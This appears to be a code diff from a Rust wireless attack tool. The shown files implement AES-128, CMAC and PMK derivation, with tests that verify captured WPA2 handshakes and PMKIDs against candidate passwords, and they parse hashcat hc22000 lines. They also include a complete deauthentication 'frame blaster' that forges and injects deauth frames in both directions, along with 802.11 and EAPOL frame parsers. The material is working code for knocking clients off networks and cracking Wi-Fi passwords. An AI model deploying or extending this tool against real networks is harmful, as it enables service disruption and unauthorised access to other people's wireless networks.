360+ w[0] ^= rcon_for_round(i / 4);
361+ }
362+ for j in 0..4 {
363+ rk[4 * i + j] = rk[4 * (i - 4) + j] ^ w[j];
364+ }
365+ i += 1;
366+ }
367+ Aes128 { rk, t }
368+ }
369+
370+ fn encrypt_block(&self, input: &[u8; 16]) -> [u8; 16] {
371+ let mut s = *input;
372+ add_round_key(&mut s, &self.rk[0..16]);
373+ for r in 1..10 {
374+ sub_bytes(&mut s, &self.t.sbox);
375+ shift_rows(&mut s);
376+ mix_columns(&mut s, &self.t);
377+ add_round_key(&mut s, &self.rk[16 * r..16 * r + 16]);
378+ }
379+ sub_bytes(&mut s, &self.t.sbox);
380+ shift_rows(&mut s);
381+ add_round_key(&mut s, &self.rk[160..176]);
382+ s
383+ }
384+}
385+
386+fn rcon_for_round(round: usize) -> u8 {
387+ // Rcon[1..=10] = 01,02,04,08,10,20,40,80,1b,36
388+ const RCON: [u8; 11] = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36];
389+ RCON[round]
390+}
391+
392+fn add_round_key(s: &mut [u8; 16], rk: &[u8]) {
393+ for i in 0..16 {
394+ s[i] ^= rk[i];
395+ }
396+}
397+
398+fn sub_bytes(s: &mut [u8; 16], sbox: &[u8; 256]) {
399+ for b in s.iter_mut() {
400+ *b = sbox[*b as usize];
401+ }
402+}
403+
404+fn shift_rows(s: &mut [u8; 16]) {
405+ // state is column-major: s[c*4 + r]
406+ let t = *s;
407+ for r in 1..4 {
408+ for c in 0..4 {
409+ s[c * 4 + r] = t[((c + r) % 4) * 4 + r];
410+ }
411+ }
412+}
413+
414+fn mix_columns(s: &mut [u8; 16], t: &AesTables) {
415+ for c in 0..4 {
416+ let i = c * 4;
417+ let (a0, a1, a2, a3) = (s[i], s[i + 1], s[i + 2], s[i + 3]);
418+ s[i] = t.mul2[a0 as usize] ^ t.mul3[a1 as usize] ^ a2 ^ a3;
419+ s[i + 1] = a0 ^ t.mul2[a1 as usize] ^ t.mul3[a2 as usize] ^ a3;
420+ s[i + 2] = a0 ^ a1 ^ t.mul2[a2 as usize] ^ t.mul3[a3 as usize];
421+ s[i + 3] = t.mul3[a0 as usize] ^ a1 ^ a2 ^ t.mul2[a3 as usize];
422+ }
423+}
424+
425+/// AES-128-CMAC per RFC 4493.
426+pub fn cmac_aes128(key: &[u8; 16], msg: &[u8]) -> [u8; 16] {
427+ let aes = Aes128::new(key);
428+ let l = aes.encrypt_block(&[0u8; 16]);
429+ let k1 = dbl(l);
430+ let k2 = dbl(k1);
431+
432+ let n = msg.len().div_ceil(16).max(1);
433+ let complete = !msg.is_empty() && msg.len() % 16 == 0;
434+
435+ let mut m_last = [0u8; 16];
436+ if complete {
437+ m_last.copy_from_slice(&msg[16 * (n - 1)..]);
438+ for i in 0..16 {
439+ m_last[i] ^= k1[i];
440+ }
441+ } else {
442+ let rem = if msg.is_empty() { 0 } else { msg.len() % 16 };
443+ let start = if msg.is_empty() { 0 } else { msg.len() - rem };
444+ m_last[..rem].copy_from_slice(&msg[start..]);
445+ m_last[rem] = 0x80;
446+ for i in 0..16 {
447+ m_last[i] ^= k2[i];
448+ }
449+ }
450+
451+ let mut x = [0u8; 16];
452+ for i in 0..n - 1 {
453+ let block = &msg[16 * i..16 * i + 16];
454+ for j in 0..16 {
455+ x[j] ^= block[j];
456+ }
457+ x = aes.encrypt_block(&x);
458+ }
459+ for j in 0..16 {
460+ x[j] ^= m_last[j];
461+ }
462+ aes.encrypt_block(&x)
463+}
464+
465+fn dbl(b: [u8; 16]) -> [u8; 16] {
466+ let mut out = [0u8; 16];
467+ let msb = b[0] & 0x80 != 0;
468+ let mut carry = 0u8;
469+ for i in (0..16).rev() {
470+ let new_carry = (b[i] >> 7) & 1;
471+ out[i] = (b[i] << 1) | carry;
472+ carry = new_carry;
473+ }
474+ if msb {
475+ out[15] ^= 0x87;
476+ }
477+ out
478+}
479+
480+// ---------------------------------------------------------------------------
481+
482+#[cfg(test)]
483+mod tests {
484+ use super::*;
485+
486+ #[test]
487+ fn pmk_rfc6070_c4096() {
488+ // RFC 6070 PBKDF2-HMAC-SHA1: P="password" S="salt" c=4096 dkLen=20.
489+ let mut out20 = [0u8; 20];
490+ pbkdf2_hmac_sha1(b"password", b"salt", 4096, &mut out20);
491+ assert_eq!(hex(&out20), "4b007901b765489abead49d926f721d065a429c1");
492+
493+ // RFC 6070 fast checks: c=1 and c=2 vectors anchor the block-1 chain.
494+ let mut o1 = [0u8; 20];
495+ pbkdf2_hmac_sha1(b"password", b"salt", 1, &mut o1);
496+ assert_eq!(hex(&o1), "0c60c80f961f0e71f3a9b524af6012062fe037a6");
497+ pbkdf2_hmac_sha1(b"password", b"salt", 2, &mut o1);
498+ assert_eq!(hex(&o1), "ea6c014dc72d6f8ccd1ed92ace1d41f0d8de8957");
499+
500+ // Known WPA2 PMK vector (used by aircrack/hashcat test suites):
501+ // ssid "IEEE", pass "password".
502+ let k = pmk(b"password", b"IEEE");
503+ assert_eq!(
504+ hex(&k),
505+ "f42c6fc52df0ebef9ebb4b90b38a5f902e83fe1b135a70e23aed762e9710a12e"
506+ );
507+ }
508+
509+ #[test]
510+ fn gf_sanity() {
511+ // AES xtime known sample: 0x57 * 0x13 = 0xfe (FIPS-197 example).
512+ assert_eq!(gf_mul(0x57, 0x13), 0xfe);
513+ let t = AesTables::new();
514+ // S-box spot values (FIPS-197 Table 4/5): S(0x00)=0x63, S(0x53)=0xed.
515+ assert_eq!(t.sbox[0x00], 0x63);
516+ assert_eq!(t.sbox[0x53], 0xed);
517+ assert_eq!(t.sbox[0x01], 0x7c);
518+ assert_eq!(t.sbox[0xff], 0x16);
519+ // The S-box must be a bijection.
520+ let mut seen = [false; 256];
521+ for &v in t.sbox.iter() {
522+ assert!(!seen[v as usize], "s-box collides");
523+ seen[v as usize] = true;
524+ }
525+ // MixColumns constants: 2 and 3 tables agree with xtime.
526+ // 0x80*2 = 0x1b; 0xdb*2 = (0xdb<<1)^0x1b = 0xb6^0x1b = 0xad;
527+ // 0xdb*3 = 0xdb ^ 0xad = 0x76.
528+ assert_eq!(t.mul2[0x80], 0x1b);
529+ assert_eq!(t.mul2[0xdb], 0xad);
530+ assert_eq!(t.mul3[0xdb], 0x76);
531+ }
532+
533+ #[test]
534+ fn aes128_fips197() {
535+ // FIPS-197 Appendix B / C.1 test vector.
536+ let key = [
537+ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d,
538+ 0x0e, 0x0f,
539+ ];
540+ let pt = [
541+ 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd,
542+ 0xee, 0xff,
543+ ];
544+ let aes = Aes128::new(&key);
545+ let ct = aes.encrypt_block(&pt);
546+ assert_eq!(
547+ hex(&ct),
548+ "69c4e0d86a7b0430d8cdb78070b4c55a"
549+ );
550+ }
551+
552+ #[test]
553+ fn cmac_rfc4493() {
554+ let k = unhex_field("2b7e151628aed2a6abf7158809cf4f3c", "k").unwrap();
555+ let key: [u8; 16] = k.try_into().unwrap();
556+
557+ let m0: [u8; 0] = [];
558+ assert_eq!(
559+ hex(&cmac_aes128(&key, &m0)),
560+ "bb1d6929e95937287fa37d129b756746"
561+ );
562+
563+ let m16 = unhex_field("6bc1bee22e409f96e93d7e117393172a", "m").unwrap();
564+ assert_eq!(
565+ hex(&cmac_aes128(&key, &m16)),
566+ "070a16b46b4d4144f79bdd9dd04a287c"
567+ );
568+
569+ let m40 = unhex_field(
570+ "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411",
571+ "m",
572+ )
573+ .unwrap();
574+ assert_eq!(
575+ hex(&cmac_aes128(&key, &m40)),
576+ "dfa66747de9ae63030ca32611497c827"
577+ );
578+
579+ let m64 = unhex_field(
580+ "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710",
581+ "m",
582+ )
583+ .unwrap();
584+ assert_eq!(
585+ hex(&cmac_aes128(&key, &m64)),
586+ "51f0bebf7e3b9d92fc49741779363cfe"
587+ );
588+ }
589+
590+ /// Build a minimal EAPOL-Key (WPA2 descriptor) message-2 frame with the
591+ /// MIC field zeroed, exactly 99 bytes.
592+ fn build_eapol_m2(key_ver: u8, snonce: &[u8; 32], replay: u64) -> Vec<u8> {
593+ let mut f = Vec::with_capacity(99);
594+ f.push(0x02); // EAPOL version 2
595+ f.push(0x03); // type: EAPOL-Key
596+ f.extend_from_slice(&95u16.to_be_bytes()); // body length
597+ f.push(0x02); // descriptor type: RSN
598+ let info: u16 = 0x0100 | 0x0080 | (key_ver as u16 & 0x7); // pairwise|mic|ver
599+ f.extend_from_slice(&info.to_be_bytes());
600+ f.extend_from_slice(&16u16.to_be_bytes()); // key length
601+ f.extend_from_slice(&replay.to_be_bytes());
602+ f.extend_from_slice(snonce);
603+ f.extend_from_slice(&[0u8; 16]); // key IV
604+ f.extend_from_slice(&[0u8; 8]); // key RSC
605+ f.extend_from_slice(&[0u8; 8]); // key ID
606+ f.extend_from_slice(&[0u8; 16]); // MIC (zeroed)
607+ f.extend_from_slice(&0u16.to_be_bytes()); // key data len
608+ assert_eq!(f.len(), 99);
609+ f
610+ }
611+
612+ fn synthetic_target(ssid: &str, pass: &[u8], key_ver: u8) -> (CrackTarget, [u8; 32]) {
613+ let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
614+ let sta = "11:22:33:44:55:66".parse::<MacAddr>().unwrap();
615+ let anonce: [u8; 32] = [0x5a; 32];
616+ let snonce: [u8; 32] = [0xc3; 32];
617+ let key = pmk(pass, ssid.as_bytes());
618+ let dk = ptk(&key, &ap, &sta, &anonce, &snonce);
619+ let frame = build_eapol_m2(key_ver, &snonce, 1);
620+ let m = mic(&dk, &frame, key_ver);
621+ let cap = HandshakeCapture::new(
622+ ap,
623+ sta,
624+ ssid.to_string(),
625+ anonce,
626+ snonce,
627+ m,
628+ frame,
629+ key_ver,
630+ );
631+ (CrackTarget::Handshake(cap), key)
632+ }
633+
634+ #[test]
635+ fn synthetic_handshake_sha1_mic() {
636+ let (target, _) = synthetic_target("parafin", b"sup3r-secret", 2);
637+ assert!(verify(&target, b"sup3r-secret"));
638+ assert!(!verify(&target, b"sup3r-wrong"));
639+ // Tampered MIC must not verify.
640+ if let CrackTarget::Handshake(mut h) = target.clone() {
641+ h.eapol_m2[10] ^= 1; // flip a nonce bit → MIC mismatch
642+ assert!(!verify(&CrackTarget::Handshake(h), b"sup3r-secret"));
643+ }
644+ }
645+
646+ #[test]
647+ fn synthetic_handshake_cmac_mic() {
648+ let (target, _) = synthetic_target("parafin", b"sup3r-secret", 3);
649+ assert!(verify(&target, b"sup3r-secret"));
650+ assert!(!verify(&target, b"sup3r-wrong"));
651+ }
652+
653+ #[test]
654+ fn pmkid_roundtrip() {
655+ let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
656+ let sta = "11:22:33:44:55:66".parse::<MacAddr>().unwrap();
657+ let key = pmk(b"sup3r-secret", b"parafin");
658+ let id = pmkid_hash(&key, &ap, &sta);
659+ let cap = PmkidCapture {
660+ ap,
661+ client: sta,
662+ essid: "parafin".to_string(),
663+ pmkid: id,
664+ };
665+ let target = CrackTarget::Pmkid(cap);
666+ assert!(verify(&target, b"sup3r-secret"));
667+ assert!(!verify(&target, b"another-pass"));
668+ }
669+
670+ /// Export a handshake exactly like handshake::handshake_hc22000 does:
671+ /// 02*MIC*MAC_AP*MAC_CLIENT*ESSID(hex)*ANONCE*EAPOL(hex)*00
672+ fn export_handshake(h: &HandshakeCapture) -> String {
673+ let mut s = String::new();
674+ s.push_str("02*");
675+ s.push_str(&hex(h.mic()));
676+ s.push('*');
677+ for b in h.ap.0 {
678+ s.push_str(&format!("{b:02x}"));
679+ }
680+ s.push('*');
681+ for b in h.client.0 {
682+ s.push_str(&format!("{b:02x}"));
683+ }
684+ s.push('*');
685+ for b in h.essid.as_bytes() {
686+ s.push_str(&format!("{b:02x}"));
687+ }
688+ s.push('*');
689+ for b in h.anonce {
690+ s.push_str(&format!("{b:02x}"));
691+ }
692+ s.push('*');
693+ for b in &h.eapol_m2 {
694+ s.push_str(&format!("{b:02x}"));
695+ }
696+ s.push_str("*00");
697+ s
698+ }
699+
700+ /// Export a PMKID capture: 01*PMKID*MAC_AP*MAC_CLIENT*ESSID(hex)***
701+ fn export_pmkid(p: &PmkidCapture) -> String {
702+ let mut s = String::from("01*");
703+ s.push_str(&hex(&p.pmkid));
704+ s.push('*');
705+ for b in p.ap.0 {
706+ s.push_str(&format!("{b:02x}"));
707+ }
708+ s.push('*');
709+ for b in p.client.0 {
710+ s.push_str(&format!("{b:02x}"));
711+ }
712+ s.push('*');
713+ for b in p.essid.as_bytes() {
714+ s.push_str(&format!("{b:02x}"));
715+ }
716+ s.push_str("***");
717+ s
718+ }
719+
720+ #[test]
721+ fn hc22000_handshake_roundtrip() {
722+ let (target, _key) = synthetic_target("parafin", b"sup3r-secret", 2);
723+ let h = match &target {
724+ CrackTarget::Handshake(h) => h.clone(),
725+ _ => unreachable!(),
726+ };
727+ let line = export_handshake(&h);
728+ let parsed = parse_hc22000(&line).unwrap();
729+ match &parsed {
730+ CrackTarget::Handshake(p) => {
731+ assert_eq!(p.ap, h.ap);
732+ assert_eq!(p.client, h.client);
733+ assert_eq!(p.essid, h.essid);
734+ assert_eq!(&p.anonce, &h.anonce);
735+ // GPU verification path must take snonce from parsed eapol.
736+ assert_eq!(&p.snonce, &h.snonce);
737+ assert_eq!(p.mic(), h.mic());
738+ assert_eq!(p.eapol_m2, h.eapol_m2);
739+ assert_eq!(p.key_ver, 2);
740+ }
741+ _ => panic!("wrong target type"),
742+ }
743+ assert!(verify(&parsed, b"sup3r-secret"));
744+ assert!(!verify(&parsed, b"nope-nope"));
745+ }
746+
747+ #[test]
748+ fn hc22000_pmkid_roundtrip() {
749+ let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
750+ let sta = "11:22:33:44:55:66".parse::<MacAddr>().unwrap();
751+ let key = pmk(b"hunter2!!", b"parafin");
752+ let cap = PmkidCapture {
753+ ap,
754+ client: sta,
755+ essid: "parafin".to_string(),
756+ pmkid: pmkid_hash(&key, &ap, &sta),
757+ };
758+ let line = export_pmkid(&cap);
759+ assert!(line.ends_with("***"));
760+ let parsed = parse_hc22000(&line).unwrap();
761+ assert!(verify(&parsed, b"hunter2!!"));
762+ assert!(!verify(&parsed, b"hunter3!!"));
763+ }
764+
765+ #[test]
766+ fn hc22000_rejections() {
767+ assert!(parse_hc22000("").is_err());
768+ assert!(parse_hc22000("03*aa*bb").is_err());
769+ assert!(parse_hc22000("01*zz*aabbccddeeff*112233445566*70617261***").is_err());
770+ // odd-length hex
771+ assert!(parse_hc22000("01*abc*aabbccddeeff*112233445566*70***").is_err());
772+ // type 02 missing eapol field
773+ assert!(
774+ parse_hc22000("02*070a16b46b4d4144f79bdd9dd04a287c*aabbccddeeff*112233445566*70617261*abcd")
775+ .is_err()
776+ );
777+ }
778+
779+ fn hex(b: &[u8]) -> String {
780+ b.iter().map(|x| format!("{x:02x}")).collect()
781+ }
782+}
783+
src/deauth.rsmodified+170 -0
@@ -0,0 +1,170 @@
1+//! Deauthentication/disassociation frame blaster (active attack).
2+//!
3+//! Unicast targets get both directions (ap→sta *and* sta→ap); a broadcast
4+//! target only gets the AP-side broadcasted deauth — there is no sane
5+//! reverse direction for the broadcast address.
6+
7+use std::thread::sleep;
8+use std::time::Duration;
9+
10+use anyhow::{Context, Result};
11+use crossbeam_channel::Sender;
12+
13+use crate::common::{Event, MacAddr};
14+use crate::dot11::build_deauth;
15+use crate::radiotap::INJECT_HDR;
16+use crate::rawsock::RawSocket;
17+
18+pub const REASON_UNSPECIFIED: u16 = 1;
19+pub const REASON_CLASS2: u16 = 6;
20+pub const REASON_CLASS3: u16 = 7;
21+
22+/// Pacing between frames: 15 ms ≈ 64 frames/s.
23+const PACE: Duration = Duration::from_millis(15);
24+/// Emit [`Event::DeauthSent`] after every this many frames.
25+const REPORT_EVERY: u64 = 32;
26+
27+/// Number of frames `blast` will attempt for `count` requested deauths:
28+/// broadcast → `count` (AP side only), unicast → `2*count` (both directions).
29+fn burst_plan(ap: &MacAddr, target: &MacAddr, count: u32) -> u64 {
30+ let _ = ap;
31+ if target.is_broadcast() {
32+ u64::from(count)
33+ } else {
34+ 2 * u64::from(count)
35+ }
36+}
37+
38+/// Rewards: `Some(frame_with_radiotap)` queues for TX.
39+fn frame_plan(ap: &MacAddr, target: &MacAddr) -> Vec<Vec<u8>> {
40+ let mut frames = Vec::new();
41+ let mut push = |f: Vec<u8>| {
42+ let mut with_hdr = Vec::with_capacity(INJECT_HDR.len() + f.len());
43+ with_hdr.extend_from_slice(&INJECT_HDR);
44+ with_hdr.extend_from_slice(&f);
45+ frames.push(with_hdr);
46+ };
47+ // AP side.
48+ push(build_deauth(ap, target, REASON_CLASS3));
49+ if !target.is_broadcast() {
50+ // Client side: forge a deauth from the station towards the AP.
51+ push(build_deauth(target, ap, REASON_CLASS3));
52+ }
53+ frames
54+}
55+
56+/// Send `count` deauth rounds against `target` via `sock` (`sock` is bound
57+/// to a monitor-mode interface by the caller). Rate-limited to ~64 pps with
58+/// a [`Event::DeauthSent`] progress event every 32 sent frames.
59+///
60+/// Retries briefly on EAGAIN (driver TX ring full); any other error aborts.
61+/// Returns frames actually written to the wire.
62+pub fn blast(
63+ sock: &RawSocket,
64+ ap: &MacAddr,
65+ target: &MacAddr,
66+ count: u32,
67+ tx: &Sender<Event>,
68+) -> Result<u64> {
69+ let frames = frame_plan(ap, target);
70+ let mut sent: u64 = 0;
71+ let mut last_report: u64 = 0;
72+
73+ for round in 0..count {
74+ for f in &frames {
75+ // EAGAIN-aware send: bounded backoff (~5 × 2 ms), then give up.
76+ let mut attempt = 0;
77+ loop {
78+ match sock.send(f) {
79+ Ok(_) => break,
80+ Err(ref e) if e.raw_os_error() == Some(libc::EAGAIN) => {
81+ attempt += 1;
82+ if attempt >= 5 {
83+ anyhow::bail!("TX ring stayed full (EAGAIN) after retries");
84+ }
85+ sleep(Duration::from_millis(2));
86+ }
87+ Err(e) => {
88+ return Err(e)
89+ .context("deauth send failed (monitor + packet injection ok?)");
90+ }
91+ }
92+ }
93+ sent += 1;
94+ if sent - last_report >= REPORT_EVERY {
95+ last_report = sent;
96+ let _ = tx.send(Event::DeauthSent {
97+ ap: *ap,
98+ target: *target,
99+ count: sent,
100+ });
101+ }
102+ sleep(PACE);
103+ }
104+ let _ = round;
105+ }
106+
107+ // Final report so the UI sees the exact total even under REPORT_EVERY.
108+ if sent != last_report {
109+ let _ = tx.send(Event::DeauthSent {
110+ ap: *ap,
111+ target: *target,
112+ count: sent,
113+ });
114+ }
115+ Ok(sent)
116+}
117+
118+#[cfg(test)]
119+mod tests {
120+ use super::*;
121+
122+ #[test]
123+ fn burst_plan_broadcast_is_count() {
124+ let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
125+ assert_eq!(burst_plan(&ap, &MacAddr::BROADCAST, 10), 10);
126+ assert_eq!(burst_plan(&ap, &MacAddr::BROADCAST, 0), 0);
127+ }
128+
129+ #[test]
130+ fn burst_plan_unicast_is_double() {
131+ let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
132+ let sta = "11:22:33:44:55:66".parse::<MacAddr>().unwrap();
133+ assert_eq!(burst_plan(&ap, &sta, 10), 20);
134+ assert_eq!(burst_plan(&ap, &sta, 1), 2);
135+ }
136+
137+ #[test]
138+ fn frame_plan_broadcast_only_ap_side() {
139+ let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
140+ let frames = frame_plan(&ap, &MacAddr::BROADCAST);
141+ assert_eq!(frames.len(), 1);
142+ // Radiotap header prefix present, then deauth FC 0x00c0 little-endian.
143+ assert!(frames[0].starts_with(&INJECT_HDR));
144+ assert_eq!(&frames[0][8..10], &0x00c0u16.to_le_bytes());
145+ // addr1 (802.11 offset 4 → +8 radiotap) = broadcast, addr2 = ap.
146+ assert_eq!(&frames[0][12..18], &MacAddr::BROADCAST.0);
147+ assert_eq!(&frames[0][18..24], &ap.0);
148+ }
149+
150+ #[test]
151+ fn frame_plan_unicast_both_directions() {
152+ let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
153+ let sta = "11:22:33:44:55:66".parse::<MacAddr>().unwrap();
154+ let frames = frame_plan(&ap, &sta);
155+ assert_eq!(frames.len(), 2);
156+ // Direction 1: ap → sta (addr1 = sta, addr2 = ap).
157+ assert_eq!(&frames[0][12..18], &sta.0);
158+ assert_eq!(&frames[0][18..24], &ap.0);
159+ // Direction 2: sta → ap (addr1 = ap, addr2 = sta).
160+ assert_eq!(&frames[1][12..18], &ap.0);
161+ assert_eq!(&frames[1][18..24], &sta.0);
162+ // Round-trip through the dot11 parser: (transmitter, target).
163+ let (from2, tgt2) = crate::dot11::parse_deauth(&frames[1][8..]).expect("parse");
164+ assert_eq!(from2, sta);
165+ assert_eq!(tgt2, ap);
166+ let (from1, tgt1) = crate::dot11::parse_deauth(&frames[0][8..]).expect("parse");
167+ assert_eq!(from1, ap);
168+ assert_eq!(tgt1, sta);
169+ }
170+}
src/dot11.rsmodified+620 -0
@@ -0,0 +1,620 @@
1+//! 802.11 MAC frame parsing and building.
2+//!
3+//! Zero-copy where possible; all reads are bounds-checked through `get`.
4+//! Frames here never carry an FCS (the driver appends it on TX, and monitor
5+//! captures may or may not include one — parsers simply ignore trailing
6+//! bytes beyond what they need).
7+
8+use crate::common::{MacAddr, Security};
9+
10+/// LLC/SNAP header prefixing an EAPOL payload inside a data frame.
11+const SNAP_EAPOL: [u8; 8] = [0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88, 0x8e];
12+
13+const IE_SSID: u8 = 0;
14+const IE_DS_PARAM: u8 = 3;
15+const IE_RSN: u8 = 48;
16+const IE_VENDOR: u8 = 221;
17+
18+/// Microsoft (WPA) vendor IE OUI+type prefix.
19+const WPA_OUI: [u8; 4] = [0x00, 0x50, 0xf2, 0x01];
20+
21+const CAP_PRIVACY: u16 = 0x0010;
22+
23+/// Duration value used on injected management frames.
24+pub const INJECT_DURATION: u16 = 314;
25+
26+// ---------------------------------------------------------------------------
27+// little helpers (all bounds-checked)
28+// ---------------------------------------------------------------------------
29+
30+fn u16le(f: &[u8], o: usize) -> Option<u16> {
31+ Some(u16::from_le_bytes(f.get(o..o + 2)?.try_into().ok()?))
32+}
33+
34+fn mac_at(f: &[u8], o: usize) -> Option<MacAddr> {
35+ Some(MacAddr(f.get(o..o + 6)?.try_into().ok()?))
36+}
37+
38+/// (type, subtype) from the frame-control field.
39+fn type_subtype(fc: u16) -> (u16, u16) {
40+ ((fc >> 2) & 3, (fc >> 4) & 0xf)
41+}
42+
43+/// Walk information elements starting at `cur`, invoking `f(id, body)`.
44+/// Stops cleanly on a truncated trailing IE.
45+fn walk_ies<T>(f: &[u8], mut cur: usize, mut cb: T)
46+where
47+ T: FnMut(u8, &[u8]),
48+{
49+ while let Some(body_len) = f.get(cur + 1).map(|&l| l as usize) {
50+ let Some(body) = f.get(cur + 2..cur + 2 + body_len) else {
51+ break;
52+ };
53+ cb(f[cur], body);
54+ cur += 2 + body_len;
55+ }
56+}
57+
58+// ---------------------------------------------------------------------------
59+// parsed metadata
60+// ---------------------------------------------------------------------------
61+
62+pub struct MgmtInfo {
63+ pub bssid: MacAddr,
64+ pub transmitter: MacAddr, // addr2
65+ pub ssid: Option<String>, // None if hidden/zero-len
66+ pub channel: Option<u8>, // DS parameter set IE
67+ pub security: Security, // from RSN/WPA IEs + capability privacy bit
68+}
69+
70+/// True if the RSN IE body lists AKM suite 00:0f:ac:8 (SAE → WPA3).
71+fn rsn_has_akm(body: &[u8], akm_type: u8) -> bool {
72+ // layout: version(2) group(4) pairwise_cnt(2) pairwise[4n]
73+ // akm_cnt(2) akm[4m] ...
74+ let Some(pair_cnt) = u16le(body, 6).map(|c| c as usize) else {
75+ return false;
76+ };
77+ let mut o = 8usize + 4 * pair_cnt;
78+ let Some(akm_cnt) = u16le(body, o).map(|c| c as usize) else {
79+ return false;
80+ };
81+ o += 2;
82+ for i in 0..akm_cnt {
83+ let Some(suite) = body.get(o + 4 * i..o + 4 * i + 4) else {
84+ break;
85+ };
86+ if suite[0] == 0x00 && suite[1] == 0x0f && suite[2] == 0xac && suite[3] == akm_type {
87+ return true;
88+ }
89+ }
90+ false
91+}
92+
93+// ---------------------------------------------------------------------------
94+// management frame parsers
95+// ---------------------------------------------------------------------------
96+
97+/// Parse beacon OR probe-response; None for other/broken frames.
98+pub fn parse_beacon_or_probe(f: &[u8]) -> Option<MgmtInfo> {
99+ let fc = u16le(f, 0)?;
100+ let (ty, st) = type_subtype(fc);
101+ if ty != 0 || (st != 8 && st != 5) {
102+ return None;
103+ }
104+ // fixed params: timestamp(8) interval(2) capability(2) after 24B header
105+ let cap = u16le(f, 34)?;
106+
107+ let mut ssid = None;
108+ let mut channel = None;
109+ let mut has_rsn = false;
110+ let mut has_sae = false;
111+ let mut has_wpa = false;
112+ walk_ies(f, 36, |id, body| match id {
113+ IE_SSID => {
114+ if !body.is_empty() {
115+ ssid = Some(String::from_utf8_lossy(body).into_owned());
116+ }
117+ }
118+ IE_DS_PARAM => {
119+ channel = body.first().copied();
120+ }
121+ IE_RSN => {
122+ has_rsn = true;
123+ has_sae |= rsn_has_akm(body, 8);
124+ }
125+ IE_VENDOR => {
126+ if body.len() >= 4 && body[..4] == WPA_OUI {
127+ has_wpa = true;
128+ }
129+ }
130+ _ => {}
131+ });
132+
133+ let security = if has_rsn {
134+ if has_sae { Security::Wpa3 } else { Security::Wpa2 }
135+ } else if has_wpa {
136+ Security::Wpa
137+ } else if cap & CAP_PRIVACY != 0 {
138+ Security::Wep
139+ } else {
140+ Security::Open
141+ };
142+
143+ Some(MgmtInfo {
144+ bssid: mac_at(f, 16)?,
145+ transmitter: mac_at(f, 10)?,
146+ ssid,
147+ channel,
148+ security,
149+ })
150+}
151+
152+/// Parse probe-request → Some((sta, ssid of probe)); None on broadcast
153+/// (zero-len SSID) yields `(sta, None)`. Non-probe frames → None.
154+pub fn parse_probe_req(f: &[u8]) -> Option<(MacAddr, Option<String>)> {
155+ let fc = u16le(f, 0)?;
156+ if type_subtype(fc) != (0, 4) {
157+ return None;
158+ }
159+ let sta = mac_at(f, 10)?;
160+ let mut ssid = None;
161+ walk_ies(f, 24, |id, body| {
162+ if id == IE_SSID && !body.is_empty() {
163+ ssid = Some(String::from_utf8_lossy(body).into_owned());
164+ }
165+ });
166+ if f.len() < 24 {
167+ return None;
168+ }
169+ Some((sta, ssid))
170+}
171+
172+/// Parse deauth/disassoc → (from-ap MacAddr as transmitter, target addr1).
173+pub fn parse_deauth(f: &[u8]) -> Option<(MacAddr, MacAddr)> {
174+ let fc = u16le(f, 0)?;
175+ let (ty, st) = type_subtype(fc);
176+ if ty != 0 || (st != 12 && st != 10) {
177+ return None;
178+ }
179+ Some((mac_at(f, 10)?, mac_at(f, 4)?))
180+}
181+
182+// ---------------------------------------------------------------------------
183+// data frames
184+// ---------------------------------------------------------------------------
185+
186+/// Header length of a data frame: 24 base, +6 for addr4 in WDS
187+/// (ToDS && FromDS), +2 for QoS control on QoS data subtypes.
188+fn data_hdr_len(fc: u16) -> usize {
189+ let mut n = 24;
190+ if fc & 0x0100 != 0 && fc & 0x0200 != 0 {
191+ n += 6; // addr4 (WDS)
192+ }
193+ if fc & 0x0080 != 0 {
194+ n += 2; // QoS control
195+ }
196+ n
197+}
198+
199+/// Extract (bssid, station) that best describes a data frame's endpoints
200+/// using ToDS/FromDS bits. None for mgmt/ctrl frames.
201+pub fn data_endpoints(f: &[u8]) -> Option<(MacAddr, MacAddr)> {
202+ let fc = u16le(f, 0)?;
203+ if type_subtype(fc).0 != 2 {
204+ return None;
205+ }
206+ let to_ds = fc & 0x0100 != 0;
207+ let from_ds = fc & 0x0200 != 0;
208+ Some(match (to_ds, from_ds) {
209+ // IBSS / ad-hoc: bssid in addr3, station is the transmitter.
210+ (false, false) => (mac_at(f, 16)?, mac_at(f, 10)?),
211+ // AP → STA: bssid is addr2, station is addr1.
212+ (false, true) => (mac_at(f, 10)?, mac_at(f, 4)?),
213+ // STA → AP: bssid is addr1, station is addr2.
214+ (true, false) => (mac_at(f, 4)?, mac_at(f, 10)?),
215+ // WDS: addr1=RA, addr2=TA, addr4=SA.
216+ (true, true) => (mac_at(f, 10)?, mac_at(f, 24)?),
217+ })
218+}
219+
220+/// If frame carries an EAPOL-Key payload (LLC/SNAP 88-8e in a data frame),
221+/// return (bssid, station_is_ap_sender, eapol_bytes).
222+pub fn parse_eapol(f: &[u8]) -> Option<(MacAddr, bool, &[u8])> {
223+ let fc = u16le(f, 0)?;
224+ if type_subtype(fc).0 != 2 {
225+ return None;
226+ }
227+ let to_ds = fc & 0x0100 != 0;
228+ let from_ds = fc & 0x0200 != 0;
229+ let hdr = data_hdr_len(fc);
230+ if *f.get(hdr..hdr + 8)? != SNAP_EAPOL {
231+ return None;
232+ }
233+ let eapol = f.get(hdr + 8..)?;
234+ let (bssid, ap_sender) = match (to_ds, from_ds) {
235+ (false, false) => (mac_at(f, 16)?, false),
236+ (false, true) => (mac_at(f, 10)?, true),
237+ (true, false) => (mac_at(f, 4)?, false),
